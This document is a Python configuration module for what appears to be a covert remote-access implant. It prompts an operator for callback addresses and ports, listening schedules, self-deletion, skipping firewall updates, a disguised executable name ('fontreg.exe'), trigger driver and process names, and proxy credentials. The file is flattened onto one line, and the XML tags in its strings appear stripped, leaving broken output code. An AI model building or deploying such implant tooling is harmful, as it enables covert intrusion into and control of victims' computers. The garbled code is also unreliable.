# package pc2_2.payload.config import dsz import pc2_2 import re #-------------------------------------------------------------------------------------- def fixStringForXml(origStr): newStr = origStr if (len(newStr) > 0): newStr = re.sub("&", "&", newStr) newStr = re.sub("<", "<", newStr) newStr = re.sub(">", ">", newStr) return newStr #-------------------------------------------------------------------------------------- def SetCallbackInfo(type, advanced=True): configLines = list() callbackAddr = "127.0.0.1"; if (type.lower() == "level3"): addr = dsz.ui.GetString("Enter the callback address (127.0.0.1 = no callback)") while (not pc2_2.IsValidIpAddress(addr)): addr = dsz.ui.GetString("Enter the callback address") callbackAddr = addr; configLines.append(" %s\n" % addr) if (advanced or (callbackAddr != "127.0.0.1")): # check if they want to change the callback ports0 if (dsz.ui.Prompt("Change CALLBACK PORTS?", False)): configLines.append(" \n") numPorts = 0 while (numPorts < 6): dstPort = dsz.ui.GetInt("Enter callback DST port (0=no more ports)") if (dstPort != 0): srcPort = dsz.ui.GetInt("Enter callback SRC port", "0") else: # no more ports break if ((dstPort < 0) or (dstPort > 65535) or (srcPort < 0) or (srcPort > 65535)): dsz.ui.Echo("* Invalid port value (must be between 0 and 65535)", dsz.ERROR) else: configLines.append(" \n") configLines.append(" %u\n" % srcPort) configLines.append(" %u\n" % dstPort) configLines.append(" \n") numPorts = numPorts + 1 configLines.append(" \n") return configLines #-------------------------------------------------------------------------------------- def SetFlags(os, binType, type, defaultFlags, advanced=True): configLines = list() configLines.append(" \n") usingUB = False for flag in defaultFlags: if (len(flag) > 0): configLines.append(" <%s/>\n" % flag) if (flag == "PCHEAP_CONFIG_LOADED_WITH_UTILITY_BURST"): usingUB = True if (type.lower() == "level3"): if (dsz.ui.Prompt("Perform IMMEDIATE CALLBACK?", False)): configLines.append(" \n") if (binType.lower() == "exe"): if (dsz.ui.Prompt("Enable QUICK SELF-DELETION?", False)): configLines.append(" \n") elif (type.lower() == "level4"): if (dsz.ui.Prompt("Listen AT ALL TIMES?", False)): configLines.append(" \n") if (advanced and (not usingUB) and (os == "winnt")): if (dsz.ui.Prompt("Configure for install with UTILITYBURST?", False)): configLines.append(" \n") if (advanced and (os == "winnt")): if (not dsz.ui.Prompt("Update the Windows firewall when listening?")): configLines.append(" \n") defaultWindowFlag = False if (binType.lower() == "sharedlib"): defaultWindowFlag = True if (advanced and (os == "winnt")): if (dsz.ui.Prompt("Disable window creation?", defaultWindowFlag)): configLines.append(" \n") elif (defaultWindowFlag): configLines.append(" \n") if (advanced and (os == "winnt") and (type.lower() == "level4")): if (dsz.ui.Prompt("Disable shared status memory creation?", False)): configLines.append(" \n") configLines.append(" \n") return configLines #-------------------------------------------------------------------------------------- def SetId(type, advanced=True): configLines = list() id = 0x7FFFFFFFFFFFFFFF while (id == 0x7FFFFFFFFFFFFFFF): id = dsz.ui.GetInt("Enter the PC ID", "0") configLines.append(" 0x%x\n" % id) return configLines #-------------------------------------------------------------------------------------- def SetListenInfo(type, existingConfigLines, advanced=True): configLines = list() askForListenHours = True askForListenPorts = True if (type.lower() == "level3"): if (advanced): if (dsz.ui.Prompt("Change the number of LISTEN LOOPS?", False)): loops = 0 while ((loops <= 0) or (loops > 36)): loops = dsz.ui.GetInt("Enter the number of listen loops", "6") configLines.append(" %u\n" % loops) if (dsz.ui.Prompt("Change the LISTEN DURATION per loop?", False)): duration = 0 while ((duration <= 0) or (duration > 3600)): duration = dsz.ui.GetInt("Enter the listen duration (in seconds)", "300") configLines.append(" %u\n" % duration) else: # never ask for listen hours unless you're in advanced mode askForListenHours = False if (not dsz.ui.Prompt("Do you want to LISTEN?", True)): # no need to ask for listen hours or ports anymore askForListenHours = False askForListenPorts = False configLines.append(" 0\n") configLines.append(" 0\n") elif (type.lower() == "level4"): # check for 24-hour before asking about listening hours for line in existingConfigLines: if (re.search("PCHEAP_CONFIG_FLAG_24_HOUR", line) != None): askForListenHours = False break if (askForListenHours): if (dsz.ui.Prompt("Change the LISTEN HOURS?", False)): start = dsz.ui.GetInt("Enter the starting hour (0-24)") stop = dsz.ui.GetInt("Enter the ending hour (0-24)") configLines.append(" %u\n" % start) configLines.append(" %u\n" % stop) if (start == stop): # start == stop means no listening, no need to ask for listen ports askForListenPorts = False # always check if they want to change the listen ports if (askForListenPorts or advanced): if (dsz.ui.Prompt("Change LISTEN PORTS?", False)): configLines.append(" \n") numPorts = 0 while (numPorts < 6): port = dsz.ui.GetInt("Enter listening port (0=no more ports)") if (port == 0): # no more ports break if ((port < 0) or (port > 65535)): dsz.ui.Echo("* Invalid port value (must be between 1 and 65535)", dsz.ERROR) else: configLines.append(" %u\n" % port) numPorts = numPorts + 1 configLines.append(" \n") if (advanced): if (dsz.ui.Prompt("Change LISTEN BIND ADDRESS", False)): bindAddr = dsz.ui.GetString("Enter the listen bind address", "0.0.0.0") while (not pc2_2.IsValidIpAddress(bindAddr)): bindAddr = dsz.ui.GetString("Enter the listen bind address", "0.0.0.0") configLines.append(" %s\n" % bindAddr) return configLines #-------------------------------------------------------------------------------------- def SetMiscInfo(type, driverName="", procName="", infoValue="", advanced=True): configLines = list() if (type.lower() == "level3"): if (dsz.ui.Prompt("Change exe name in version information?", False)): origName = "fontreg.exe" newName = dsz.ui.GetString("Enter the new name", origName) while ((len(newName) < 10) or (len(newName) > 11)): dsz.ui.Echo("Name length must be between 10 and 11 characters") newName = dsz.ui.GetString("Enter the new name", "fontreg.exe") configLines.append(" %s\n" % fixStringForXml(newName)) configLines.append(" %s\n" % fixStringForXml(newName)) if (type.lower() == "level4"): if (len(driverName) > 0): configLines.append(" %s\n" % fixStringForXml(driverName)) else: if (advanced and dsz.ui.Prompt("Change the TRIGGER DRIVER NAME?", False)): name = dsz.ui.GetString("Enter the TRIGGER DRIVER NAME") configLines.append(" %s\n" % fixStringForXml(name)) if (len(procName) > 0): configLines.append(" %s\n" % fixStringForXml(procName)) else: if (advanced and dsz.ui.Prompt("Change the PROCESS NAME?", False)): name = dsz.ui.GetString("Enter the PROCESS NAME") configLines.append(" %s\n" % fixStringForXml(name)) if (len(infoValue) > 0): configLines.append(" %s\n" % fixStringForXml(infoValue)) else: if (advanced and dsz.ui.Prompt("Change the INFO VALUE?", False)): value = dsz.ui.GetString("Enter the INFO VALUE") configLines.append(" %s\n" % fixStringForXml(value)) return configLines #-------------------------------------------------------------------------------------- def SetProxyInfo(commType, advanced=True): configLines = list() if (commType.lower() != "http"): # nothing to configure return configLines if (dsz.ui.Prompt("Set the proxy address?", False)): while True: addr = dsz.ui.GetString("Enter the PROXY ADDRESS") port = dsz.ui.GetInt("Enter the PROXY PORT") if ((port > 0) and (port < 65535)): configLines.append(" %s\n" % addr) configLines.append(" %u\n" % port) break if (dsz.ui.Prompt("Set the proxy login?", False)): login = dsz.ui.GetString("Enter the PROXY USERNAME") passwd = dsz.ui.GetString("Enter the PROXY PASSWORD") configLines.append(" %s\n" % fixStringForXml(login)) configLines.append(" %s\n" % fixStringForXml(passwd)) return configLines #-------------------------------------------------------------------------------------- def SetProxyConnectionParameters(commType, advanced=True): configLines = list() if (commType.lower() != "http"): # nothing to configure return configLines if (dsz.ui.Prompt("Set the proxy connection parameters?", False)): while True: if (dsz.ui.Prompt("Change the default MAXIMUM DATA SEND SIZE?", False)): maxDataPerSend = dsz.ui.GetInt("Enter the MAXIMUM DATA SEND SIZE") if ((maxDataPerSend > 0) and (maxDataPerSend < 65535)): configLines.append(" %u\n" % maxDataPerSend) break else: dsz.ui.Echo("* Valid values for MAXIMUM DATA SEND SIZE are 1024 - 65534") else: break while True: if (dsz.ui.Prompt("Change the default WAIT TIME AFTER FAILURE?", False)): waitTimeAfterFailure = dsz.ui.GetInt("Enter the WAIT TIME AFTER FAILURE (in seconds)") if ((waitTimeAfterFailure > 0) and (waitTimeAfterFailure < 65535)): configLines.append(" %u\n" % waitTimeAfterFailure) break else: dsz.ui.Echo("* Valid values for WAIT TIME AFTER FAILURE are 1 - 65534") else: break while True: if (dsz.ui.Prompt("Change the default WAIT TIME BETWEEN SENDS?", False)): waitTimeBetweenSends = dsz.ui.GetInt("Enter the WAIT TIME BETWEEN SENDS (in seconds)") if ((waitTimeBetweenSends > 0) and (waitTimeBetweenSends < 65535)): configLines.append(" %u\n" % waitTimeBetweenSends) break else: dsz.ui.Echo("* Valid values for WAIT TIME BETWEEN SENDS are 1 - 65534") else: break while True: if (dsz.ui.Prompt("Change the default MAXIMUM SEND FAILURES?", False)): maxSendFailures = dsz.ui.GetInt("Enter the MAXIMUM SEND FAILURES") if ((maxSendFailures > 0) and (maxSendFailures < 65535)): configLines.append(" %u\n" % maxSendFailures) break else: dsz.ui.Echo("* Valid values for MAXIMUM SEND FAILURES are 1 - 65534") else: break # while True: # if (dsz.ui.Prompt("Change the default MAXIMUM DATA NODES?", False)): # maxDataNodes = dsz.ui.GetInt("Enter the MAXIMUM DATA NODES") # if ((maxDataNodes > 0) and (maxDataNodes < 65535)): # configLines.append(" %u\n" % maxDataNodes) # break # else: # break return configLines